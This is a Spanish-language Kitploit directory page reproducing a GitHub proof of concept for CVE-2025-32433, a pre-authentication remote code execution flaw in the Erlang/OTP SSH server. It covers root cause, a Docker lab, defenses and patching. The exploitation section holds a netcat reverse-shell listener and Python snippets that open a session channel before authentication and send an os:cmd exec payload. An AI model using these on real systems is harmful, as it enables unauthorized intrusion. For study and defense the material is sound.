Skip to content
KitploitKITPLOIT
HerramientasExploitsBlog
Log in
Enviar
HerramientasExploitsBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
Erlang-OTP-PoC_CVE-2025-32433 — Exploit de prueba de concepto para CVE-2025-32433, una vulnerabilidad de confusión de canal pre-autenticación SSH en Erlang/OTP, que demuestra bypass de autenticación y ejecución remota de código con un laboratorio Docker. | Kitploit
Herramientas/GitHubGitHub/antoniesoga/erlang-otp-poc_cve-2025-32433
Análisis de VulnerabilidadesExplotaciónPruebas de PenetraciónAprendizaje y EducaciónHerramienta de Acceso Remoto
GitHubantoniesoga/erlang-otp-poc_cve-2025-32433

Erlang-OTP-PoC_CVE-2025-32433

Exploit de prueba de concepto para CVE-2025-32433, una vulnerabilidad de confusión de canal pre-autenticación SSH en Erlang/OTP, que demuestra bypass de autenticación y ejecución remota de código con un laboratorio Docker.

Ver Repositorio
217hace 8 mesesAún no revisado

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

Confusión de canales previo a la autenticación en Erlang/OTP SSH

📺 Video de Prueba de Concepto

Descripción: Una demostración de la vulnerabilidad de Confusión de canales previo a la autenticación en Erlang/OTP SSH.

Haga clic aquí para ver la demostración completa en YouTube

Resumen

¿De qué trata esta Prueba de Concepto?

Esta Prueba de Concepto demuestra CVE-2025-32433, una vulnerabilidad en la implementación del servidor SSH de Erlang/OTP que permite a un atacante abrir canales SSH y ejecutar comandos antes de la autenticación.

Debido a una aplicación incorrecta de las transiciones de estado del protocolo SSH, ciertos mensajes SSH (SSH_MSG_CHANNEL_OPEN y SSH_MSG_CHANNEL_REQUEST) se aceptan antes de que la autenticación del usuario se haya completado con éxito. Esto resulta en una omisión de autenticación completa y ejecución remota de comandos dentro de la máquina virtual de Erlang.


Condiciones afectadas

¿Qué debe ser vulnerable para que esto funcione?

La vulnerabilidad se puede desencadenar cuando se cumplen las siguientes condiciones:

  • Versiones de Erlang/OTP afectadas por esta vulnerabilidad son todas las versiones anteriores e incluyendo las siguientes:
    • OTP-27.3.2
    • OTP-26.2.5.10
    • OTP-25.3.2.19
  • La aplicación ssh de Erlang está habilitada
  • La autenticación basada en contraseña está configurada
  • El demonio SSH es accesible por el atacante
  • No se requieren credenciales válidas

Es importante destacar que este problema no depende de credenciales débiles o mala configuración, sino de un manejo defectuoso del estado del protocolo.


Causa raíz técnica y flujo de explotación

¿Cómo se manifiesta la vulnerabilidad y por qué es explotable?

El problema proviene de un fallo de confusión de estado en el servidor SSH de Erlang/OTP, donde el estado de autenticación no se aplica estrictamente antes de procesar mensajes relacionados con canales.

A alto nivel, la explotación procede de la siguiente manera:

  1. El atacante completa las fases de intercambio de versiones e intercambio de claves SSH.
  2. El servidor transiciona la conexión a un estado de sesión activa, sin aplicar la autenticación exitosa del usuario.
  3. El atacante envía una solicitud SSH_MSG_CHANNEL_OPEN para un canal session.
  4. El servidor acepta incorrectamente la solicitud de canal antes de completar la autenticación.
  5. Se envía un SSH_MSG_CHANNEL_REQUEST de tipo exec en el canal abierto.
  6. El subsistema SSH de Erlang reenvía la solicitud al manejador de conexión.
  7. La carga útil suministrada se ejecuta a través de primitivas de Erlang (por ejemplo, os:cmd/1) dentro del contexto de la VM.

Este comportamiento viola el modelo del protocolo SSH definido en RFC 4252/4254, donde la creación de canales y las solicitudes solo deben permitirse después de una autenticación exitosa.

En resumen:

  • El estado de autenticación se rastrea pero no se aplica
  • El manejo de canales está condicionado al estado de sesión, no al estado de autenticación
  • El proceso ssh_connection procesa solicitudes exec prematuramente
  • Esto permite ejecución remota de código previa a la autenticación

Esta es una vulnerabilidad de lógica y gestión de estado, no una debilidad criptográfica.


Construcción e implementación

Los siguientes pasos construyen e implementan un entorno vulnerable autocontenido usando Docker. El contenedor ejecuta un servidor SSH deliberadamente fortalecido que rechaza todas las credenciales, asegurando que cualquier ejecución exitosa de comandos sea el resultado de una omisión de autenticación.

git clone https://github.com/AntonieSoga/Erlang-OTP-PoC_CVE-2025-32433.git
docker build -t erlang-ssh .

build

docker run -d --name erlang-ssh -p 2222:2222 erlang-ssh

Una vez en ejecución, el demonio SSH estará expuesto en el puerto 2222 y listo para la explotación utilizando la PoC proporcionada.


Explotación

Este script explota una falla en el servidor SSH de Erlang/OTP que permite que ciertos mensajes del protocolo SSH se procesen antes de la autenticación.

El proceso de explotación requiere dos terminales: una para recibir la conexión inversa y otra para lanzar el exploit.

  • Receptor (Terminal 1):

    nc -lvnp 4488
    
  • Ejecución del exploit (Terminal 2):

    python3 exploit.py
    

Explicación del script de explotación

  1. Suplantación de protocolo

    s.sendall(b"SSH-2.0-OpenSSH_8.9\r\n")
    s.sendall(pad(kex))
    

    Estos mensajes se utilizan para que el servidor trate la conexión como un cliente SSH legítimo. Avanzan el estado del protocolo SSH lo suficiente como para permitir mensajes relacionados con canales sin completar la autenticación.

  2. Canal de sesión previo a la autenticación

    s.sendall(pad(b"\x5a" + s_pay("session") + struct.pack(">III", 0, 0x68000, 0x10000)))
    

    Esta solicitud se utiliza para abrir un canal de sesión antes de la autenticación. En servidores SSH vulnerables de Erlang/OTP, esto evita los controles de acceso normales y crea una sesión no autorizada.

  3. Solicitud de ejecución de comandos

    erl_cmd = f'os:cmd("bash -c \'{escaped}\'").'
    exec_req = b"\x62" + struct.pack(">I", 0) + s_pay("exec") + b"\x01" + s_pay(erl_cmd)
    

    Esta solicitud se utiliza para desencadenar la ejecución de comandos a través del runtime de Erlang. Envolver la carga útil en sintaxis de Erlang asegura que el comando sea ejecutado por la VM de Erlang en lugar de tratarse como un comando de shell SSH estándar.

Resultado

Si el objetivo es vulnerable, el comando suministrado se ejecuta sin autenticación.

exploit

nc


Defensa

La defensa contra esta vulnerabilidad depende de una segmentación de red estricta y monitoreo a nivel de protocolo, ya que los registros de autenticación estándar pueden no registrar los intentos de omisión (ya que la autenticación se omite).

  • Restricción de red: No exponga los puertos SSH de Erlang (predeterminados o personalizados) a Internet público. Restrinja el acceso a IPs de confianza o requiera una VPN/Bastion host.
  • Firmas IDS/IPS: Configure Sistemas de Detección de Intrusiones para alertar sobre sesiones SSH donde los paquetes SSH_MSG_CHANNEL_OPEN (Tipo 90) se envían inmediatamente después del Intercambio de Claves, sin un paquete SSH_MSG_USERAUTH_SUCCESS (Tipo 52) precedente.
  • Monitoreo en tiempo de ejecución: Monitoree la VM de Erlang en busca de llamadas os:cmd inesperadas o la creación de procesos shell que no se correspondan con una sesión de usuario que haya iniciado sesión correctamente en los registros de la aplicación.

Mitigaciones

La única solución completa es parchear el runtime subyacente de Erlang/OTP para aplicar transiciones de estado estrictas.

1. Actualizar Erlang/OTP

Actualice el runtime de Erlang/OTP inmediatamente a una versión que aplique verificaciones de autenticación antes de la creación de canales. Asegúrese de estar ejecutando una versión más reciente que las enumeradas en la sección "Condiciones afectadas".

Consulte los Lanzamientos oficiales de Erlang/OTP en GitHub para obtener los parches de seguridad más recientes.

2. Soluciones temporales

Descargar herramienta